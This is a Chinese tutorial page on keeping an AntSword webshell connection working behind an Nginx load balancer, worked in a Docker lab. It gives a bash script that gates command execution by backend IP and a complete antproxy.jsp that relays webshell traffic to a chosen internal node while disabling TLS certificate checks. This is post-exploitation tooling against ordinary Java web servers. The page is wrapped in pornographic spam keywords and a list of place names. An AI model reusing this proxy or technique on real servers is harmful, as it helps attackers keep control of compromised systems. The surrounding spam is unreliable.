最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

Nginx負(fù)載均衡下的webshell連接的實(shí)現(xiàn)

 更新時(shí)間:2024年01月28日 15:07:17   作者:就不做程序猿  
在解決shell文件上傳問題、命令執(zhí)行漂移等困難后,可實(shí)現(xiàn)正常的webshell上傳,本文主要介紹了Nginx負(fù)載均衡下的webshell連接的實(shí)現(xiàn),具有一定的參考價(jià)值,感興趣的可以了解一下

一、上傳AntSword-Labs-master搭建負(fù)載均衡實(shí)驗(yàn)環(huán)境

搭建好docker環(huán)境,并且配置好docker-compose

我的Redhat的docker版本:

查看當(dāng)前環(huán)境下的文件是否正確:

接著執(zhí)行docker compose up -d 拉取環(huán)境

訪問成功頁面:

進(jìn)入docker容器執(zhí)行以下命令

docker exec loadbalance-jsp_lbsnode1-1 bash -c "ls -l webapps/RO0T/ant.jsp"

可以發(fā)現(xiàn)存在webshell,查看里面內(nèi)容如下:

二、連接webshell 執(zhí)行命令

然后連接目標(biāo),因?yàn)閮膳_(tái)節(jié)點(diǎn)都在相同的位置存在 ant.jsp,所以連接的時(shí)候也沒出現(xiàn)什么異常

一旦有一臺(tái)機(jī)器上沒有,那么在請(qǐng)求輪到這臺(tái)機(jī)器上的時(shí)候,就會(huì)出現(xiàn) 404 錯(cuò)誤,影響使用。

我們可以發(fā)現(xiàn),主機(jī)的ip一直在變

三、上傳文件/工具

我先在這個(gè)目錄下上傳一個(gè)hack.txt文件,刷新

再次刷新,發(fā)現(xiàn)文件不見了,是因?yàn)槲募环珠_上傳到不同的后端了,不停地刷新會(huì)發(fā)現(xiàn)文件時(shí)而存在時(shí)而不見。

連續(xù)進(jìn)行上傳操作,直到刷新到hack.txt文件一直存在為止。如果文件較大,則會(huì)導(dǎo)致上傳的工具用不了。

五、解決執(zhí)行的命令會(huì)分散到不同的后端的問題

1、我們既然無法預(yù)測(cè)下一次命令是哪臺(tái)機(jī)器去執(zhí)行,那我們的 Shell 在執(zhí)行 Payload 之前,先判斷一下要不要執(zhí)行不就行了?

因?yàn)楸敬苇h(huán)境由docker搭建的,在docker里面下載相應(yīng)的工具

進(jìn)入相應(yīng)的docker容器(注意不同的系統(tǒng)容器名字不一樣) 退出容器exit

升級(jí)一下

apt-get update

安裝一下 

apt-get install net-tools

測(cè)試一下好不好用,因?yàn)橹辉谝慌_(tái)裝了,另一臺(tái)用不了

兩臺(tái)都要裝上

2、創(chuàng)建腳本判斷要執(zhí)行命令的ip是不是目標(biāo)后端

vim demo.sh

MYIP=`ifconfig | grep "inet 172.19" | awk '{print $2}'`
if [ "$MYIP" == "172.19.0.2" ]; then
        echo "allow exec your command"
        id
else
        echo "try again!!!"
fi

然后將次腳本復(fù)制到docker容器下的臨時(shí)文件夾下,兩臺(tái)都要復(fù)制

docker cp demo.sh 8e558d690564:/tmp

此時(shí)執(zhí)行腳本,匹配

這就解決了執(zhí)行命令只會(huì)在一臺(tái)特定后端

六、解決上傳文件會(huì)分散到不同的后端的問題

測(cè)試內(nèi)網(wǎng)通信

curl http://172.19.0.3:8080 -X HEAD -v

Web 層做一次 HTTP 流量轉(zhuǎn)發(fā)實(shí)現(xiàn)后端不是目標(biāo)的機(jī)器將流量轉(zhuǎn)發(fā)給目標(biāo)機(jī)

antproxy.jsp

注意更改這個(gè)字段  String target = "http://172.19.0.2:8080/ant.jsp";

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
  public static void ignoreSsl() throws Exception {
        HostnameVerifier hv = new HostnameVerifier() {
            public boolean verify(String urlHostName, SSLSession session) {
                return true;
            }
        };
        trustAllHttpsCertificates();
        HttpsURLConnection.setDefaultHostnameVerifier(hv);
    }
    private static void trustAllHttpsCertificates() throws Exception {
        TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
            public X509Certificate[] getAcceptedIssuers() {
                return null;
            }
            @Override
            public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
            @Override
            public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
                // Not implemented
            }
        } };
        try {
            SSLContext sc = SSLContext.getInstance("TLS");
            sc.init(null, trustAllCerts, new java.security.SecureRandom());
            HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
        } catch (KeyManagementException e) {
            e.printStackTrace();
        } catch (NoSuchAlgorithmException e) {
            e.printStackTrace();
        }
    }
%>

<%
        String target = "http://172.20.0.2:8080/ant.jsp";
        URL url = new URL(target);
        if ("https".equalsIgnoreCase(url.getProtocol())) {
            ignoreSsl();
        }
        HttpURLConnection conn = (HttpURLConnection)url.openConnection();
        StringBuilder sb = new StringBuilder();
        conn.setRequestMethod(request.getMethod());
        conn.setConnectTimeout(30000);
        conn.setDoOutput(true);
        conn.setDoInput(true);
        conn.setInstanceFollowRedirects(false);
        conn.connect();
        ByteArrayOutputStream baos=new ByteArrayOutputStream();
        OutputStream out2 = conn.getOutputStream();
        DataInputStream in=new DataInputStream(request.getInputStream());
        byte[] buf = new byte[1024];
        int len = 0;
        while ((len = in.read(buf)) != -1) {
            baos.write(buf, 0, len);
        }
        baos.flush();
        baos.writeTo(out2);
        baos.close();
        InputStream inputStream = conn.getInputStream();
        OutputStream out3=response.getOutputStream();
        int len2 = 0;
        while ((len2 = inputStream.read(buf)) != -1) {
            out3.write(buf, 0, len2);
        }
        out3.flush();
        out3.close();
%>

使用蟻劍的新建文件功能,新建一個(gè)antproxy.jsp的文件上傳,重復(fù)上傳多次,確保所有后端都上傳上去了。

將上面的代碼復(fù)制到這個(gè)文件中并多次保存,確保每臺(tái)后端都存在

然后更新名字antproxy.jsp

按道理來講,這樣之后進(jìn)行測(cè)試,所有的流量都會(huì)轉(zhuǎn)發(fā)到172.19.0.2

但是不知道是不是redhat系統(tǒng)的原因,此現(xiàn)象看不到,還會(huì)一直跳

到此這篇關(guān)于Nginx負(fù)載均衡下的webshell連接的實(shí)現(xiàn)的文章就介紹到這了,更多相關(guān)Nginx負(fù)載均衡webshell連接內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

  • Nginx 配置TCP代理轉(zhuǎn)發(fā)的實(shí)現(xiàn)

    Nginx 配置TCP代理轉(zhuǎn)發(fā)的實(shí)現(xiàn)

    本文主要介紹了使用Nginx新版的stream方式,實(shí)現(xiàn)TCP/UDP代理轉(zhuǎn)發(fā),文中通過示例代碼介紹的非常詳細(xì),對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2024-10-10
  • 如何在centos7中安裝nginx

    如何在centos7中安裝nginx

    近期做項(xiàng)目用到了nginx,所以自己動(dòng)手來在Centos7上安裝nginx,以下是安裝步驟。
    2018-09-09
  • NGINX njs從基礎(chǔ)配置到高級(jí)特性實(shí)戰(zhàn)

    NGINX njs從基礎(chǔ)配置到高級(jí)特性實(shí)戰(zhàn)

    njs是NGINX推出的輕量級(jí)JavaScript子集,通過 ngx_http_js_module`模塊可在NGINX中實(shí)現(xiàn) location 處理、變量定義、響應(yīng)過濾等核心能力,感興趣的可以了解一下
    2026-01-01
  • 實(shí)現(xiàn)Nginx中使用PHP-FPM時(shí)記錄PHP錯(cuò)誤日志的配置方法

    實(shí)現(xiàn)Nginx中使用PHP-FPM時(shí)記錄PHP錯(cuò)誤日志的配置方法

    最近在本地搭建的LNMP的開發(fā)環(huán)境。為了開發(fā)的時(shí)候不影響前端的正常開發(fā)就屏蔽的PHP里面php.ini中的一些錯(cuò)誤提示。但是這樣一來,就影響到了后端開發(fā)的一些問題比如不能及時(shí)調(diào)試開發(fā)中的一些問題
    2014-05-05
  • Nginx靜態(tài)壓縮和代碼壓縮提高訪問速度詳解

    Nginx靜態(tài)壓縮和代碼壓縮提高訪問速度詳解

    Nginx提供靜態(tài)壓縮功能,對(duì)于比較大的文件,可以自動(dòng)默認(rèn)查找.gz后綴的壓縮包,下面這篇文章主要給大家介紹了關(guān)于Nginx靜態(tài)壓縮和代碼壓縮提高訪問速度的相關(guān)資料,需要的朋友可以參考下
    2022-05-05
  • Nginx的yum安裝-Centos7過程

    Nginx的yum安裝-Centos7過程

    本文詳細(xì)介紹了如何在Linux系統(tǒng)上安裝和配置Nginx服務(wù)器,包括安裝yum工具包、創(chuàng)建Nginx yum源倉庫、安裝Nginx、啟動(dòng)Nginx、開啟80端口以及相關(guān)命令總結(jié)
    2024-12-12
  • Tomcat請(qǐng)求處理在源碼中的輪轉(zhuǎn)解析

    Tomcat請(qǐng)求處理在源碼中的輪轉(zhuǎn)解析

    這篇文章主要為大家介紹了Tomcat請(qǐng)求處理在源碼中的輪轉(zhuǎn)解析,有需要的朋友可以借鑒參考下,希望能夠有所幫助,祝大家多多進(jìn)步,早日升職加薪
    2023-08-08
  • 為Nginx服務(wù)器配置黑名單或白名單功能的防火墻

    為Nginx服務(wù)器配置黑名單或白名單功能的防火墻

    這篇文章主要介紹了為Nginx服務(wù)器配置黑名單或白名單功能的防火墻的方法,文中還附帶介紹了一個(gè)基于lua的第三方防火墻模塊,需要的朋友可以參考下
    2016-01-01
  • Nginx-rtmp實(shí)現(xiàn)直播媒體實(shí)時(shí)流效果

    Nginx-rtmp實(shí)現(xiàn)直播媒體實(shí)時(shí)流效果

    這篇文章主要介紹了Nginx-rtmp實(shí)現(xiàn)直播媒體實(shí)時(shí)流效果,文中給出了總體設(shè)計(jì)圖,為了整合平臺(tái),會(huì)自建RTMP流媒體服務(wù)器和使用云廠商SaaS的RTMP流媒體服務(wù),需要的朋友可以參考下
    2018-08-08
  • Windows安裝nginx服務(wù)全過程

    Windows安裝nginx服務(wù)全過程

    本文詳細(xì)介紹了在Windows系統(tǒng)系統(tǒng)上系統(tǒng)下安裝Nginx并將其設(shè)置為服務(wù)的過程,包括下載安裝、解壓配置、創(chuàng)建服務(wù)文件、安裝服務(wù)、修改配置文件、重啟服務(wù)等步驟,最后還總結(jié)了如何檢查配置和查看服務(wù)狀態(tài)的方法
    2026-04-04

最新評(píng)論

金乡县| 建昌县| 龙井市| 绥化市| 岐山县| 江永县| 肃南| 南阳市| 嘉祥县| 疏勒县| 灵武市| 平顺县| 四会市| 逊克县| 竹溪县| 赤峰市| 宿松县| 庐江县| 密山市| 红河县| 侯马市| 玛沁县| 平果县| 禄丰县| 临夏市| 迁西县| 麦盖提县| 朔州市| 和田县| 金塔县| 贵南县| 临泽县| 秦安县| 巴中市| 澄迈县| 邯郸县| 遂平县| 昌乐县| 南江县| 健康| 西和县|